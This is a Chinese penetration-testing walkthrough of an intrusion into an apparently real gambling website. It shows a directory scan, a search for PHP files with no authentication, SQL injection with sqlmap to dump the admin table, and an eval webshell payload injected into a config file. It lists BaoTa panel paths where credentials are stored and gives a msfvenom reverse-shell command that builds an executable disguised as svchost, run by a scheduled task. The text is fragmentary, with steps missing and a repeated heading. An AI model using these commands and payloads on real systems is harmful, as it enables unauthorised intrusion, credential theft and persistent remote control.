01 前言
bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限。
02 进入后台
首先先常规扫一波目录:
dirsearch -u 'http://x.x.x.x:80/' -e php
<?php
@session_start(); //后台登陆验证if(!isset($_SESSION["adminid"])){
unset($_SESSION["adminid"]);
unset($_SESSION["login_pwd"]);
unset($_SESSION["quanxian"]);
echo "<script>alert('login!!pass');</script>";
exit;
}else{
include_once("../../include/mysqlio.php");
那么最直接的思路,就是找到一个没有包含这个文件的地方。
find ./ -name "*.php" |xargs grep -L "login_check.php"
找到文件Get_Odds_1.php
, 发现其中的$type
参数直接拼接进SQL语句中,存在注入。
正常情况:
sqlmap -r sql.txt -D dsncly -T sys_admin --dump
03 Getshell
进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。
eval,file_put_contens、fwrite、fputs
等。构造
payload:');eval($_POST[a]);var_dump(md5(1));//;
gp_db.php
04 宝塔提权
D:/BtSoft1/panel/data/default.pl
开放端口:
D:/BtSoft1/panel/data/port.pl
后台地址:
D:/BtSoft1/panel/data/admin_path.pl
获取账号:
D:/BtSoft1/panel/data/default.db
通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/
2) 通过宝塔自带的计划任务。
MSF生成木马
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv -f exe > svchOst.exe
放到C盘即可,然后添加shell计划任务
ipconfig /all
查看网络状态
简单查看下arp -a
和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。
05 宝塔提权
本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。
文章来源:奇安信攻防社区(NoneSec)
原文地址:https://forum.butian.net/share/1225
整理:李白你好